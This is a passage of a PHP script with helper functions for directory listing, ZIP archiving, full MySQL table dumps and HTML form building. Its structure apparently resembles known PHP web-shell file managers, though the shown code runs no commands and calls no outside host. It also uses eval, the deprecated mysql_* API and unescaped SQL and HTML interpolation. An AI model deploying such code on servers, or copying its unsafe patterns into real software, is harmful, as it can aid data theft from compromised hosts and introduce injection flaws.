2393 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
2394 $dirdata[$j]['dirchmod']=getChmod($f);
2395 $dirdata[$j]['dirperm']=getPerms($f);
2396 $dirdata[$j]['dirlink']=ue($dir);
2397 $dirdata[$j]['server_link']=$f;
2398 $dirdata[$j]['client_link']=ue($f);
2399 $j++;
2400 }
2401 GetList($f);
2402 }
2403 }
2404 closedir($dh);
2405 clearstatcache();
2406 return $dirdata;
2407 } else {
2408 return array();
2409 }
2410}
2411
2412function qy($sql) {
2413 //echo $sql.'<br>';
2414 $res = $error = '';
2415 if(!$res = @mysql_query($sql)) {
2416 return 0;
2417 } else if(is_resource($res)) {
2418 return 1;
2419 } else {
2420 return 2;
2421 }
2422 return 0;
2423}
2424
2425function q($sql) {
2426 return @mysql_query($sql);
2427}
2428
2429function fr($qy){
2430 mysql_free_result($qy);
2431}
2432
2433function sizecount($size) {
2434 if($size > 1073741824) {
2435 $size = round($size / 1073741824 * 100) / 100 . ' G';
2436 } elseif($size > 1048576) {
2437 $size = round($size / 1048576 * 100) / 100 . ' M';
2438 } elseif($size > 1024) {
2439 $size = round($size / 1024 * 100) / 100 . ' K';
2440 } else {
2441 $size = $size . ' B';
2442 }
2443 return $size;
2444}
2445
2446// Zip
2447class PHPZip{
2448 var $out='';
2449 function PHPZip($dir) {
2450 if (@function_exists('gzcompress')) {
2451 $curdir = getcwd();
2452 if (is_array($dir)) $filelist = $dir;
2453 else{
2454 $filelist=$this -> GetFileList($dir);//File list
2455 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2456 }
2457 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2458 else chdir($curdir);
2459 if (count($filelist)>0){
2460 foreach($filelist as $filename){
2461 if (is_file($filename)){
2462 $fd = fopen ($filename, 'r');
2463 $content = @fread ($fd, filesize($filename));
2464 fclose ($fd);
2465 if (is_array($dir)) $filename = basename($filename);
2466 $this -> addFile($content, $filename);
2467 }
2468 }
2469 $this->out = $this -> file();
2470 chdir($curdir);
2471 }
2472 return 1;
2473 }
2474 else return 0;
2475 }
2476
2477 // Show file list
2478 function GetFileList($dir){
2479 static $a;
2480 if (is_dir($dir)) {
2481 if ($dh = opendir($dir)) {
2482 while ($file = readdir($dh)) {
2483 if($file!='.' && $file!='..'){
2484 $f=$dir .'/'. $file;
2485 if(is_dir($f)) $this->GetFileList($f);
2486 $a[]=$f;
2487 }
2488 }
2489 closedir($dh);
2490 }
2491 }
2492 return $a;
2493 }
2494
2495 var $datasec = array();
2496 var $ctrl_dir = array();
2497 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2498 var $old_offset = 0;
2499
2500 function unix2DosTime($unixtime = 0) {
2501 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2502 if ($timearray['year'] < 1980) {
2503 $timearray['year'] = 1980;
2504 $timearray['mon'] = 1;
2505 $timearray['mday'] = 1;
2506 $timearray['hours'] = 0;
2507 $timearray['minutes'] = 0;
2508 $timearray['seconds'] = 0;
2509 } // end if
2510 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2511 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2512 }
2513
2514 function addFile($data, $name, $time = 0) {
2515 $name = str_replace('\\', '/', $name);
2516
2517 $dtime = dechex($this->unix2DosTime($time));
2518 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2519 . '\x' . $dtime[4] . $dtime[5]
2520 . '\x' . $dtime[2] . $dtime[3]
2521 . '\x' . $dtime[0] . $dtime[1];
2522 eval('$hexdtime = "' . $hexdtime . '";');
2523 $fr = "\x50\x4b\x03\x04";
2524 $fr .= "\x14\x00";
2525 $fr .= "\x00\x00";
2526 $fr .= "\x08\x00";
2527 $fr .= $hexdtime;
2528
2529 $unc_len = strlen($data);
2530 $crc = crc32($data);
2531 $zdata = gzcompress($data);
2532 $c_len = strlen($zdata);
2533 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2534 $fr .= pack('V', $crc);
2535 $fr .= pack('V', $c_len);
2536 $fr .= pack('V', $unc_len);
2537 $fr .= pack('v', strlen($name));
2538 $fr .= pack('v', 0);
2539 $fr .= $name;
2540 $fr .= $zdata;
2541 $fr .= pack('V', $crc);
2542 $fr .= pack('V', $c_len);
2543 $fr .= pack('V', $unc_len);
2544
2545 $this -> datasec[] = $fr;
2546 $new_offset = strlen(implode('', $this->datasec));
2547
2548 $cdrec = "\x50\x4b\x01\x02";
2549 $cdrec .= "\x00\x00";
2550 $cdrec .= "\x14\x00";
2551 $cdrec .= "\x00\x00";
2552 $cdrec .= "\x08\x00";
2553 $cdrec .= $hexdtime;
2554 $cdrec .= pack('V', $crc);
2555 $cdrec .= pack('V', $c_len);
2556 $cdrec .= pack('V', $unc_len);
2557 $cdrec .= pack('v', strlen($name) );
2558 $cdrec .= pack('v', 0 );
2559 $cdrec .= pack('v', 0 );
2560 $cdrec .= pack('v', 0 );
2561 $cdrec .= pack('v', 0 );
2562 $cdrec .= pack('V', 32 );
2563 $cdrec .= pack('V', $this -> old_offset );
2564 $this -> old_offset = $new_offset;
2565 $cdrec .= $name;
2566
2567 $this -> ctrl_dir[] = $cdrec;
2568 }
2569
2570 function file() {
2571 $data = implode('', $this -> datasec);
2572 $ctrldir = implode('', $this -> ctrl_dir);
2573 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2574 }
2575}
2576
2577// Dump mysql
2578function sqldumptable($table, $fp=0) {
2579 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2580 $tabledump .= "CREATE TABLE $table (\n";
2581
2582 $firstfield=1;
2583
2584 $fields = q("SHOW FIELDS FROM $table");
2585 while ($field = mysql_fetch_array($fields)) {
2586 if (!$firstfield) {
2587 $tabledump .= ",\n";
2588 } else {
2589 $firstfield=0;
2590 }
2591 $tabledump .= " $field[Field] $field[Type]";
2592 if (!empty($field["Default"])) {
2593 $tabledump .= " DEFAULT '$field[Default]'";
2594 }
2595 if ($field['Null'] != "YES") {
2596 $tabledump .= " NOT NULL";
2597 }
2598 if ($field['Extra'] != "") {
2599 $tabledump .= " $field[Extra]";
2600 }
2601 }
2602 fr($fields);
2603
2604 $keys = q("SHOW KEYS FROM $table");
2605 while ($key = mysql_fetch_array($keys)) {
2606 $kname=$key['Key_name'];
2607 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2608 $kname="UNIQUE|$kname";
2609 }
2610 if(!is_array($index[$kname])) {
2611 $index[$kname] = array();
2612 }
2613 $index[$kname][] = $key['Column_name'];
2614 }
2615 fr($keys);
2616
2617 while(list($kname, $columns) = @each($index)) {
2618 $tabledump .= ",\n";
2619 $colnames=implode($columns,",");
2620
2621 if ($kname == "PRIMARY") {
2622 $tabledump .= " PRIMARY KEY ($colnames)";
2623 } else {
2624 if (substr($kname,0,6) == "UNIQUE") {
2625 $kname=substr($kname,7);
2626 }
2627 $tabledump .= " KEY $kname ($colnames)";
2628 }
2629 }
2630
2631 $tabledump .= "\n);\n\n";
2632 if ($fp) {
2633 fwrite($fp,$tabledump);
2634 } else {
2635 echo $tabledump;
2636 }
2637
2638 $rows = q("SELECT * FROM $table");
2639 $numfields = mysql_num_fields($rows);
2640 while ($row = mysql_fetch_array($rows)) {
2641 $tabledump = "INSERT INTO $table VALUES(";
2642
2643 $fieldcounter=-1;
2644 $firstfield=1;
2645 while (++$fieldcounter<$numfields) {
2646 if (!$firstfield) {
2647 $tabledump.=", ";
2648 } else {
2649 $firstfield=0;
2650 }
2651
2652 if (!isset($row[$fieldcounter])) {
2653 $tabledump .= "NULL";
2654 } else {
2655 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2656 }
2657 }
2658
2659 $tabledump .= ");\n";
2660
2661 if ($fp) {
2662 fwrite($fp,$tabledump);
2663 } else {
2664 echo $tabledump;
2665 }
2666 }
2667 fr($rows);
2668 if ($fp) {
2669 fwrite($fp,"\n");
2670 } else {
2671 echo "\n";
2672 }
2673}
2674
2675function ue($str){
2676 return urlencode($str);
2677}
2678
2679function p($str){
2680 echo $str."\n";
2681}
2682
2683function tbhead() {
2684 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2685}
2686function tbfoot(){
2687 p('</table>');
2688}
2689
2690function makehide($name,$value=''){
2691 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2692}
2693
2694function makeinput($arg = array()){
2695 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2696 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2697 !$arg['type'] && $arg['type'] = 'text';
2698 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2699 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2700 if ($arg['newline']) {
2701 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2702 } else {
2703 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2704 }
2705}
2706
2707function makeselect($arg = array()){
2708 if ($arg['onchange']) {
2709 $onchange = 'onchange="'.$arg['onchange'].'"';
2710 }
2711 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2712 if ($arg['newline']) p('<p>');
2713 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2714 if (is_array($arg['option'])) {
2715 foreach ($arg['option'] as $key=>$value) {
2716 if ($arg['selected']==$key) {
2717 p("<option value=\"$key\" selected>$value</option>");
2718 } else {
2719 p("<option value=\"$key\">$value</option>");
2720 }
2721 }
2722 }
2723 p("</select>");
2724 if ($arg['newline']) p('</p>');
2725}
2726function formhead($arg = array()) {
2727 !$arg['method'] && $arg['method'] = 'post';
2728 !$arg['action'] && $arg['action'] = $self;
2729 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2730 !$arg['name'] && $arg['name'] = 'form1';
2731 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2732 if ($arg['title']) {
2733 p('<h2>'.$arg['title'].' »</h2>');
2734 }
2735}
2736
2737function maketext($arg = array()){
2738 !$arg['cols'] && $arg['cols'] = 100;
2739 !$arg['rows'] && $arg['rows'] = 25;
2740 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2741 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2742}
2743
2744function formfooter($name = ''){
2745 !$name && $name = 'submit';
2746 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2747 p('</form>');
2748}
2749
2750function formfoot(){
2751 p('</form>');
2752}
2753
2754// Exit
2755function pr($a) {
2756 echo '<pre>';
2757 print_r($a);
2758 echo '</pre>';
2759}